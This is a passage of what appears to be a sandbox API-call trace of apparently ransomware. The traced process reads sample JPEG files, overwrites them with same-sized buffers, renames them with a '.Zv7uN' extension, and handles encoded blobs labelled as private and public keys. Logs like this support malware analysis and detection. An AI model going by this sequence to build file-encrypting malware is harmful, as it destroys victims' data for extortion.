(lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0121.439] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0121.439] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0121.439] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0xbde6b [0121.439] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0121.439] VirtualAlloc (lpAddress=0x0, dwSize=0xc0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eee0000 [0121.440] ReadFile (in: hFile=0x1ec, lpBuffer=0x7eee0010, nNumberOfBytesToRead=0xbde6b, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x7eee0010*, lpNumberOfBytesRead=0x18f6a0*=0xbde6b, lpOverlapped=0x0) returned 1 [0124.094] CloseHandle (hObject=0x1ec) returned 1 [0124.095] VirtualAlloc (lpAddress=0x0, dwSize=0xc0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee20000 [0124.101] VirtualAlloc (lpAddress=0x0, dwSize=0xe0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed40000 [0124.161] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0124.180] WriteFile (in: hFile=0x1ec, lpBuffer=0x7ee20010*, nNumberOfBytesToWrite=0xbde6b, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x7ee20010*, lpNumberOfBytesWritten=0x18f6ac*=0xbde6b, lpOverlapped=0x0) returned 1 [0124.771] CloseHandle (hObject=0x1ec) returned 1 [0124.771] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.Zv7uN" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg.zv7un")) returned 1 [0124.772] VirtualFree (lpAddress=0x7eee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.781] VirtualFree (lpAddress=0x7ee20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.790] VirtualFree (lpAddress=0x7ed40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.797] GetCurrentThreadId () returned 0xa30 [0124.798] GetCurrentThreadId () returned 0xa30 [0124.798] GetCurrentThreadId () returned 0xa30 [0124.798] GetCurrentThreadId () returned 0xa30 [0124.798] GetCurrentThreadId () returned 0xa30 [0124.798] GetCurrentThreadId () returned 0xa30 [0124.798] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Tulips.jpg", cAlternateFileName="")) returned 1 [0124.798] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0124.798] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0124.798] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958)) returned 1 [0124.798] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg")) returned 0x20 [0124.798] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", dwFileAttributes=0x80) returned 1 [0124.801] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0124.801] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0124.802] GetCurrentThreadId () returned 0xa30 [0124.802] GetCurrentThreadId () returned 0xa30 [0124.802] GetCurrentThreadId () returned 0xa30 [0124.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0124.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0124.802] GetCurrentThreadId () returned 0xa30 [0124.802] GetCurrentThreadId () returned 0xa30 [0124.802] GetCurrentThreadId () returned 0xa30 [0124.802] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0124.803] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0124.803] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0124.803] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x97958 [0124.803] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0124.803] VirtualAlloc (lpAddress=0x0, dwSize=0xa0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef00000 [0124.803] ReadFile (in: hFile=0x1ec, lpBuffer=0x7ef00010, nNumberOfBytesToRead=0x97958, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x7ef00010*, lpNumberOfBytesRead=0x18f6a0*=0x97958, lpOverlapped=0x0) returned 1 [0124.832] CloseHandle (hObject=0x1ec) returned 1 [0124.833] VirtualAlloc (lpAddress=0x0, dwSize=0xa0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee60000 [0124.862] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0124.875] WriteFile (in: hFile=0x1ec, lpBuffer=0x7ee60010*, nNumberOfBytesToWrite=0x97958, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x7ee60010*, lpNumberOfBytesWritten=0x18f6ac*=0x97958, lpOverlapped=0x0) returned 1 [0124.899] CloseHandle (hObject=0x1ec) returned 1 [0124.900] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.Zv7uN" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg.zv7un")) returned 1 [0124.900] VirtualFree (lpAddress=0x7ef00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.908] VirtualFree (lpAddress=0x7ee60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.926] GetCurrentThreadId () returned 0xa30 [0124.926] GetCurrentThreadId () returned 0xa30 [0124.926] GetCurrentThreadId () returned 0xa30 [0124.926] GetCurrentThreadId () returned 0xa30 [0124.926] GetCurrentThreadId () returned 0xa30 [0124.926] GetCurrentThreadId () returned 0xa30 [0124.927] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Tulips.jpg", cAlternateFileName="")) returned 0 [0124.927] GetLastError () returned 0x12 [0124.927] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0124.927] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f39be40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5f39be40, 